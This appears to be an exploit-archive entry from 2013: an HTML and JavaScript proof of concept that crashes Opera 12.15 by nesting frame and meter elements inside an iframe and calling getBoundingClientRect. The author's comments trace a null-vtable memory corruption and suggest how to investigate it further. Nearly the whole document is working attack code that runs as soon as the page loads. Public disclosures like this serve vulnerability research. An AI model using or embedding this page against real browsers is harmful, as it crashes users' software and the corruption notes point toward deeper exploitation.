Opera 12.15 Denial Of Service

EKU-ID: 3346	CVE:	OSVDB-ID:
Author: expku	Published: 2013-07-04	Verified:
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title> Opera 12.15 DOS POC</title>
</head>
<body>
<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">

/*
   Test: Windows 7 x64
   Version: Opera 12.15 Win32
   Link: www.opera.com
*/

var wnd = document.getElementById("wnd");
      wnd = wnd.contentWindow;

function d00m()
{
               var tag   = [];
               tag.push(document.createElement("frame"));
               tag.push(document.createElement("meter"));

               wnd.document.body.appendChild(tag[0]);
               wnd.document.body.appendChild(tag[1]);

               /* step 1*/
               var obj   = tag[1];

               var obj_1 = tag[0];

               try{ obj_1.appendChild(obj); }catch(b){}
                                                                /* eax = [esi + 14h] = this->unknow20 */
               try{ obj_1.getBoundingClientRect(); }catch(a){} /* ecx = [eax + 14h] = this->unknow20->unknow20 */
                                                                /* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
               /* step 2*/
               var obj   = tag[0];

               var obj_1 = tag[1];

               try{ obj_1.appendChild(obj); }catch(b){}

               try{ obj_1.getBoundingClientRect();}catch(a){}   /* eax = [esi + 14h] = this->unknow20 */
                                                                /* ecx = [eax + 14h] = this->unknow20->unknow20 */
    }                                                           /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */

    d00m();

/* so we have here some kind of memory corruption */
    /* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
    /* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
    /* logically next step should be checking why the vtable in "step 2" is corrupted */
    /* i observed heap allocation and free function between "step 1" and "step 2" - no alloc or free of intersting area occurs (but maybe i fuckup something) */
    /* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */



   </script>
   
</body>
</html>